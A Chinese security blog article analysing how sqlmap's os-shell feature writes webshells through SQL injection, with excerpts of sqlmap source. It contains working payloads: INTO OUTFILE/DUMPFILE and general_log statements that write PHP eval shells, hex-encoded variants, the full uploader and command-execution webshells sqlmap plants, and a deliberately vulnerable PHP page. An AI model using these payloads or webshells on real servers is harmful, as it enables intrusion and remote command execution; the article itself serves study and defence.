Sqlmap之os-shell原理分析

  • A+
所属分类:安全文章

点击蓝字

Sqlmap之os-shell原理分析

关注我们



声明

本文作者:Gality

本文字数:5000

阅读时长:30min

附件/链接:点击查看原文下载

声明:请勿用作违法用途,否则后果自负

本文属于WgpSec原创奖励计划,未经许可禁止转载




前言



最近跟一些同伴分享面试经验时发现,在面那些出名的安全厂商时,面试官很喜欢问os-shell相关的原理,网上的分析杂七杂八,大多是相互抄袭,作者并没有真正去实践这些技术,也缺少对sqlmap源码和其底层原理的分析,希望能通过我的分析,让大家对sql注入写shell相关的原理有透彻的了解


一、

写入Shell的前提


在以下条件满足的情况下,我们可以直接利用sql注入的漏洞来获得一个shell,便于我们后续的攻击:


root权限,需要写文件的权限


select group_concat(user,0x3a,file_priv) from mysql.user;出现Y,这就代表你有文件权限,N就是没有

Sqlmap之os-shell原理分析


  • 知道网站的绝对路径


  • 文件不能覆盖写入,所以文件必须为不存在


  • PHP的GPC关闭,能使用单双引号(需要单引号路径,不能使用0x编码)


  • –secure-file-priv没有值


show global variables like '%secure_file_priv%';

查看secure-file-priv

Sqlmap之os-shell原理分析


对于大多数sql注入的写Shell方式而言,网站的绝对的路径都是需要知道的,这里需要知道的原因绝不是因为outfile相对路径无法写shell,而是因为


  1. 不知道路径,你的菜刀无法连接

  2. 通过相对路径的方式写出来的shell大概率是无法执行的,或者是权限不够写


Sqlmap之os-shell原理分析


但如果扩展思路,如果配合任意文件包含的话,我们就可以尝试使用默认的mysql安装路径去包含这个文件执行


–secure-file-priv是mysql5.7+的新参数,用于限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()传到哪个指定目录

  • secure_file_priv 为 NULL 时,表示限制mysqld不允许导入或导出。

  • secure_file_priv 为 /tmp 时,表示限制mysqld只能在/tmp目录中执行导入导出,其他目录不能执行。

  • secure_file_priv 没有值时,表示不限制mysqld在任意目录的导入导出。

因为 secure_file_priv 参数是只读参数,不能使用set global命令修改,需要在my.cnf 或 my.ini,加入secure_file_priv=''后重启mysql


magic_quotes_gpc:

为 GPC (Get/Post/Cookie) 操作设置 magic_quotes 状态。当 magic_quotes 为 on,所有的 ' (单引号)、" (双引号)、(反斜杠)和 NUL's 被一个反斜杠自动转义

该特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除

二、


常规写shell方法


联合查询写shell


当可以使用联合查询时,通过构造类似:


1' union select 1,'<?php eval($_POST[a]);?>' INTO OUTFILE '/var/www/html/test.php'#


或者


1' union select 1,'<?php eval($_POST[a]);?>' INTO dumpfile '/var/www/html/test.php'#


来将shell写入到test.php中,关于outfile和dumpfile的区别,稍微说一下,官方给的解释是:


  • outfile函数可以导出多行,而dumpfile只能导出一行数据

  • outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式


Sqlmap之os-shell原理分析


从上图中我们可以清晰的看到,

在使用outfile时,文件中一行的末尾会自动换行,且可以导出全部数据,同时如果文本中存在n等字符,会自动转义成\n,也就是会多加一个


Sqlmap之os-shell原理分析


而使用dumpfile时,一行的末尾不会换行且只能导出部分数据(这里比较数据比较少,没有体现出来),但dumpfile不会自动对文件内容进行转义,而是原意写入,这就是为什么我们平时UDF提权时使用dumpfile来写入的原因


Sqlmap之os-shell原理分析


还有一点需要注意:outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径,但是值的部分可以时16进制


Sqlmap之os-shell原理分析


三、

outfile拓展写shell


官方文档中指出:可以使用如下参数对outfile的格式进行调整


Sqlmap之os-shell原理分析


其中 FIELDS ESCAPED BY可以用来对指定的字符进行转义, FIELDS [OPTIONALLY] ENCLOSED BY 用来对字段值进行包裹


在实际注入中用的比较多的是如下的方法:


  • FIELDS TERMINATED BYCOLUMNS terminated by指定每一项数据之间的分隔符


SELECT 1,2 into outfile './12.php' fields terminated by 0x3c3f70687020706870696e666f28293b3f3e

SELECT 1,2 into outfile './12.php' COLUMNS terminated by 0x3c3f70687020706870696e666f28293b3f3e


Sqlmap之os-shell原理分析


既然是在将分隔符替换成shell,那么只有在至少有两个数据项时才会在两个数据项之间写入shell


  • LINES TERMINATED BY指定行的结尾符


    SELECT 1 into outfile './12.php' LINES TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e


Sqlmap之os-shell原理分析


  • 有数据项即可,outfile会在文件结尾自动添加指定的行结尾符


    LINES STARTING BY指定行开始符

    SELECT 1 into outfile './12.php' LINES STARTING BY 0x3c3f70687020706870696e666f28293b3f3e


Sqlmap之os-shell原理分析


  • 同样是有数据项即可,outfile会自动在数据开头添加指定的字段

上述说的这种方法也正是sqlmap使用的方法,我们后文会继续分析


四、

堆注入写shell


原生的php方法是不支持的,得使用使用 PDO,mysqli_multi_query()才可能存在堆注入


堆注入主要是利用到了mysql的日志来进行写shell,构造类似如下语句:


set global general_log = "ON";set global general_log_file='C:/wamp64/www/ma.php';select '<?php eval($_POST[cmd]);?>';


然后用菜刀连接即可


补充:


general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。使用SHOW VARIABLES LIKE 'general%'命令来查看默认的log位置,实际渗透中建议将该值保存下来,便于利用结束时将该字段还原


如果数据库使用了phpmyadmin来管理数据库,且存在弱口令,我们也可以使用这种方法来通过phpmyadmin来执行上述命令达到写shell的目的


五、

sqlmap的os-shell获得shell


终于来到了本章的重点,先从源码角度分析一下sqlmap是怎么实现写shell的.


有关os-shell的处理函数被定义在plugins/generic/takeover.py中,我们挑关键代码来说:


def osShell(self):          if isStackingAvailable() or conf.direct:        web = False    elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):        infoMsg = "going to use a web backdoor for command prompt"        logger.info(infoMsg)
web = True ...... self.getRemoteTempPath() try: self.initEnv(web=web) except SqlmapFilePathException: if not web and not conf.direct: infoMsg = "falling back to web backdoor method..." logger.info(infoMsg)
web = True kb.udfFail = True
self.initEnv(web=web) else: raise
if not web or (web and self.webBackdoorUrl is not None): self.shell()
if not conf.osPwn and not conf.cleanup: self.cleanup(web=web)


首先是isStackingAvailable函数来判断是否支持堆叠注入,如果允许,该函数返回True,conf.direct主要是当用户配置了直接连接数据库时会存在数据,为一个字符串,类似于:conf.direct = "mysql://root:[email protected]:3306/testdb"


如果两者都不满足,但是后端数据库是mysql,这时令web=True即后续会使用一个web的shell来进行后续操作,接着就是用getRemoteTempPath来获取后端一个可写的临时目录


def getRemoteTempPath(self):        if not conf.tmpPath and Backend.isDbms(DBMS.MSSQL):            .....
_ = unArrayizeValue(inject.getValue("SELECT SERVERPROPERTY('ErrorLogFileName')", safeCharEncode=False))
if _: conf.tmpPath = ntpath.dirname(_)
if not conf.tmpPath: if Backend.isOs(OS.WINDOWS): if conf.direct: conf.tmpPath = "%TEMP%" else: self.checkDbmsOs(detailed=True)
if Backend.getOsVersion() in ("2000", "NT"): conf.tmpPath = "C:/WINNT/Temp" elif Backend.isOs("XP"): conf.tmpPath = "C:/Documents and Settings/All Users/Application Data/Temp" else: conf.tmpPath = "C:/Windows/Temp" else: conf.tmpPath = "/tmp"
if re.search(r"A[w]:[/\]+", conf.tmpPath, re.I): Backend.setOs(OS.WINDOWS)
conf.tmpPath = normalizePath(conf.tmpPath) conf.tmpPath = ntToPosixSlashes(conf.tmpPath)
singleTimeDebugMessage("going to use '%s' as temporary files directory" % conf.tmpPath)
hashDBWrite(HASHDB_KEYS.CONF_TMP_PATH, conf.tmpPath)
return conf.tmpPath


主要是有如下几种临时路径:


  • 如果命令行参数--tmp-path指定了临时目录,就使用命令行配置的

  • sqlserver的错误日志路径:SELECT SERVERPROPERTY('ErrorLogFileName')(在SQL Server 2000中测试无效,2005及以后可以)

  • 如果是windows系统且是直连,临时目录就是%TEMP%

  • 如果是linux+直连,临时目录就是/tmp

  • 未配置直连,但是后端为Windows server2000或者NT:C:/WINNT/Temp

  • 未配置直连,但后端为winXP:C:/Documents and Settings/All Users/Application Data/Temp

  • 如果是其他windows系统:C:/Windows/Temp


然后就是对临时路径字符串做一些处理,包括将变成\等以适应不同的后端数据库

接着就是initEnv函数,该函数的关键代码如下:


def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False):        self._initRunAs()
.......
if web: self.webInit() else: self.checkDbmsOs(detailed)
.....
if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec(): success = True elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): success = self.udfInjectSys()
if success is not True: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) elif Backend.isDbms(DBMS.MSSQL): if mandatory: self.xpCmdshellInit() else: errMsg = "feature not yet implemented for the back-end DBMS" raise SqlmapUnsupportedFeatureException(errMsg)
self.envInitialized = True


该函数完成了环境方面的一些设置,是os-shell的关键,仔细来看下:


_initRunAs函数只有在配置了--dbms-cred参数时会生效,主要是在后端为sqlserver时,当用户时DBA权限,提示是否开启openrowset参数,该语句如下:


EXEC master..sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC master..sp_configure 'Ad Hoc Distributed Queries', %ENABLE%;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'show advanced options', 0;RECONFIGURE WITH OVERRIDE


在SQL Server中使用OPENROWSET访问ORACLE数据库,在2005和2008中是默认关闭的


接着就是webInit这个函数的用途是在远端服务器文档根目录下写一个web后门,支持php,asp,aspx和jsp这4种后门,之后会进行绝对路径的探测,主要是通过parseFilePaths来实现的:


if page:        for regex in FILE_PATH_REGEXES:            for match in re.finditer(regex, page):                absFilePath = match.group("result").strip()                page = page.replace(absFilePath, "")
if isWindowsDriveLetterPath(absFilePath): absFilePath = posixToNtSlashes(absFilePath)
if absFilePath not in kb.absFilePaths: kb.absFilePaths.add(absFilePath)


FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line d+", r"bin (?P<result>[^<>'"]+?)['"]? on line d+", r"(?:[>(展开)(?P<result>[A-Za-z]:[\/][w. \/-]*)", r"(?:[>(展开)(?P<result>/w[/w.~-]+)", r"bhref=['"]file://(?P<result>/[^'"]+)", r"bin <b>(?P<result>[^<]+): line d+")


也是通过正则去匹配页面内容


getManualDirectories()也会返回一些常见的目录


backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webPlatform)backdoorContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webPlatform)))
stagerContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform)))


这两行定义了后门的名字,shell的内容从/data/shell中获取,shell的内容都是加了密的.


接着看上传用的语句:


OR randInt=randInt LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- -


然后请求相应存在注入点的页面并将页面返回,如果这种方法失败,就会尝试使用联合注入的方式进行上传sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, remoteFile)使用的是into dumpfile的方式


后续通过上传的文件进一步上传一个exe文件


_ = "tmpe%s.exe" % randomStr(lowercase=True)if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)):    self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))    self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)    self.webDirectory = backdoorDirectory


最后执行一个echo命令,看是否成功上传.


当所有命令完成后,清除上传的所有文件,将所有数据库改动还原


这么说有些抽象,我们抓个包来具体看一下整个流程:


首先是写个简单的带有漏洞的PHP文件:


<?php$id= $_GET['x'];$conn = mysql_connect('127.0.0.1','root','123456');mysql_select_db('user',$conn);$sql = "select * from user where id=$id";$result = mysql_query($sql);while($row = mysql_fetch_array($result)){echo "ID".$row['id']."</br>";echo "用户名".$row['username']."</br>";echo "密码".$row['password']."</br>";}mysql_close($conn);echo "<hr>";echo "当前语句:";echo $sql ?>


将secure_file_priv设置为空且赋予相应文件可写权限,开始状态下网站根目录只有index.php:


Sqlmap之os-shell原理分析


sqlmap操作截图如下:


Sqlmap之os-shell原理分析


当返回os-shell时目录中多了以下两个文件:


Sqlmap之os-shell原理分析


Tmpuxneq.php


1  admin  admin<?phpif (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=C:\Users\Gality\Desktop\phpstudy\PHPTutorial\WWW\> <input type=submit name=upload value=upload></form>";}?>


Tmpbzswz.php


<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);[email protected]_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>


然后,我们追一下流量,看一下具体过程:


Sqlmap之os-shell原理分析


有几点可以看出来:


  • 默认的UA头是sqlmap自己的

  • 使用的是limit into outfile ..... lines terminated by的方式写的16进制shell

  • 我们把16进制转换一下得到:


Sqlmap之os-shell原理分析


  • 这是一个上传页面,与Tmpuxneq.php中内容一致.


Sqlmap之os-shell原理分析

然后就是逐级往外走试探目录的过程


Sqlmap之os-shell原理分析


利用上传功能传一个webshell


Sqlmap之os-shell原理分析


接着就是用上传的shell执行命令了:


Sqlmap之os-shell原理分析


并在shell结束时发送将两个上传的文件删除的命令

至此,os-shell的完整分析就结束了,更多后续文章可以在平台看到



扫描关注公众号回复加群

和师傅们一起讨论研究~


WgpSec狼组安全团队

微信号:wgpsec

Twitter:@wgpsec


Sqlmap之os-shell原理分析
Sqlmap之os-shell原理分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: